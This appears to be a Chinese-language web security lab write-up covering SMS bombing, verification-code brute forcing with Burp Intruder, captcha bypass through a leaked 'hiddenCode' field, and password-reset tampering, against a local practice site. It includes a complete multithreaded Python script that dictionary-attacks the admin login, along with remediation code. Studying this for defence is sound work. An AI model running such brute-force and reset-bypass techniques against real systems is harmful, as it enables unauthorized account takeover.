【短信轰炸】
短信功能存在短信轰炸漏洞,其原理在于缺乏有效的频率限制机制或现有限制可被绕过,导致攻击者能够无限次发送短信。测试时可频繁请求发送验证码(间隔小于60秒)、修改手机号参数重放请求,或使用Burp Intruder进行批量发送测试;修复方案需设定同一手机号60秒内仅能发送1次,且每日上限不超过10次。
验证码前端回显漏洞表现为验证码在HTTP响应中以明文形式返回,测试时可通过拦截发送验证码的响应包,检查JSON/XML响应中是否包含code字段,或直接查看前端JavaScript代码;修复需确保验证码仅存储在服务端,不向前端返回。
第一步:信息收集
定位验证码接口 。使用Burp Proxy拦截注册/登录请求,识别验证码验证的API端点(如/api/verify
)
第二步:配置Burp Intruder
-
设置攻击位置
{"mobile":"13800138000","code":"§1234§"
-
选择攻击类型 ,Attack type : Sniper(单点攻击,适合验证码爆破)
第三步:配置Payload
-
Payload类型选择
-
Payload set: 1
-
Payload type : Numbers
-
-
Payload数值范围设置
From: 0000 To: 9999 Step: 1 Min digits: 4 Max digits: 4
生成0000-9999的所有4位验证码组合
第四步:执行攻击
-
开始攻击
-
点击Attack按钮开始爆破
-
实时观察结果状态码和长度变化
-
-
识别成功请求
-
Status code 200 + Length不同 + 包含"注册成功"
-
如图中Payload 2733即为正确验证码
-


【验证码识别回显】
漏洞利用原理分析
1. 验证码机制漏洞
-
漏洞点 :服务端将正确验证码通过
hiddenCode
字段返回给前端 -
利用方式:无需识别图片验证码,直接获取正确值
2. 密码加密方式
hashed_password = hashlib.md5(password.encode()).hexdigest()
-
密码使用MD5加密后传输
-
避免了传输明文密码,但MD5本身易受彩虹表攻击
攻击流程设计
第一步:信息收集(侦察阶段)
-
识别验证码接口 :
/api/auth/captcha
-
发现安全缺陷 :验证码明文返回在
hiddenCode
字段 -
确定登录接口 :
/api/auth/login
-
分析请求格式:JSON格式,包含MD5加密密码
第二步:绕过验证码保护
# 正常流程:用户识别图片 → 输入验证码 # 绕过流程:直接获取hiddenCode → 自动填充
-
传统验证码绕过:需要OCR识别或机器学习
-
本案例绕过:利用设计缺陷直接获取正确验证码
第三步:暴力破解密码
with open(PASSWORD_DICT_FILE, "r") as f: passwords = [line.strip() for line in f.readlines()]
-
字典攻击:使用常见密码字典
-
并发优化:多线程提高破解效率
bash
import requests
import hashlib
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
# 配置信息
TARGET_URL = "http://localhost:8081/edu"
LOGIN_URL = f"{TARGET_URL}/api/auth/login"
CAPTCHA_URL = f"{TARGET_URL}/api/auth/captcha"
USERNAME = "admin"
PASSWORD_DICT_FILE = r"D:\phpstudy_pro\WWW\bachang\02renzheng\ruokoul.txt" # 密码字典文件路径
MAX_THREADS = 10 # 最大并发线程数
def get_captcha():
"""获取验证码及其隐藏值"""
response = requests.get(CAPTCHA_URL)
if response.status_code == 200:
data = response.json()
if data.get("success"):
hidden_code = data.get("hiddenCode")
session_id = data.get("sessionId")
# print(f"获取到的验证码:{hidden_code},sessionId:{session_id}")
return hidden_code, session_id
print("获取验证码失败")
return None, None
def try_login(username, password, captcha, session_id):
"""尝试登录"""
# 对密码进行 MD5 加密
hashed_password = hashlib.md5(password.encode()).hexdigest()
payload = {
"username": username,
"password": hashed_password,
"captcha": captcha,
"realCaptcha": captcha # 前端代码中,验证码字段是 realCaptcha
}
headers = {
"Cookie": f"JSESSIONID={session_id}" # 添加 sessionId 到 Cookie
}
#print(f"尝试登录,用户名:{USERNAME},密码:{password},验证码:{captcha},sessionId:{session_id}")
response = requests.post(LOGIN_URL, json=payload, headers=headers)
if response.status_code == 200:
data = response.json()
return data.get("success"), data.get("message")
return False, "网络错误"
def worker(password):
"""每个线程的工作函数"""
captcha, session_id = get_captcha()
if captcha is None or session_id is None:
print(f"获取验证码或 sessionId 失败,跳过密码:{password}")
return False, f"跳过密码:{password}"
return try_login(USERNAME, password, captcha, session_id)
def main():
with open(PASSWORD_DICT_FILE, "r", encoding="utf-8") as f:
passwords = [line.strip() for line in f.readlines()]
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
future_to_password = {executor.submit(worker, password): password for password in passwords}
for future in as_completed(future_to_password):
password = future_to_password[future]
try:
success, message = future.result()
if success:
print(f"登录成功!用户名:{USERNAME},密码:{password}")
return
else:
print(f"尝试密码:{password},结果:{message}")
except Exception as e:
print(f"密码:{password},尝试时出错:{e}")
if __name__ == "__main__":
main()
需要修改的是验证码的网址信息和字典位置。

【密码找回漏洞】
打开BP先停止响应拦截

在状态那里修改为ture,再发送回去

可以看到重置成功

第二个是通关数据库存储的用户数据去篡改用户名

BP抓包把username改成数据库里存储有的用户名,例如admin,再发送回去
这里能看到重置成功,拉出刚刚的数据在数据库对比,用户名的密码已经修改

前端响应篡改漏洞
-
漏洞点:服务端返回敏感标志位,前端JS基于这些标志决定页面跳转
-
攻击方式:攻击者可以篡改HTTP响应包中的标志位,绕过服务端验证
-
风险:未授权访问、权限提升等安全问题
密码重置漏洞
-
响应包篡改漏洞 - 修改服务端返回的验证结果
-
任意用户密码重置漏洞 - 修改密码时身份验证不严格
修复方案
一、修复响应包篡改漏洞
1. 服务端完全控制流程
// 错误做法:返回标志由前端决定跳转 return ResponseEntity.ok(Result.success("验证通过", true)); // 正确做法:服务端直接控制跳转 if (authenticationSuccess) { return "redirect:/reset-password"; // 服务端跳转 } else { return "redirect:/error-page"; }
2. Token验证机制
// 身份验证通过后生成Token String token = UUID.randomUUID().toString(); redisTemplate.opsForValue().set("RESET_TOKEN:" + username, token, 300); // 5分钟过期 // 修改密码时必须验证Token public boolean validateToken(String username, String token) { String storedToken = redisTemplate.opsForValue().get("RESET_TOKEN:" + username); return token != null && token.equals(storedToken); }
二、修复任意用户密码重置漏洞
1. 取消前端传入用户名
bash
// 错误做法:接受前端传来的用户名 @PostMapping("/reset-password") public Result resetPassword(@RequestParam String username, @RequestParam String newPassword) { // 直接修改指定用户名密码 } // 正确做法:从Session中获取用户名 @PostMapping("/reset-password") public Result resetPassword(HttpSession session, @RequestParam String newPassword) { String username = (String) session.getAttribute("authenticatedUser"); if (username == null) { return Result.error("未认证用户"); } userService.updatePassword(username, newPassword); return Result.success("密码修改成功"); }
2. Session绑定验证
// 验证Session中的用户与操作对象一致性 public boolean validateUserConsistency(HttpSession session, String targetUsername) { String sessionUser = (String) session.getAttribute("currentUser"); return sessionUser != null && sessionUser.equals(targetUsername); }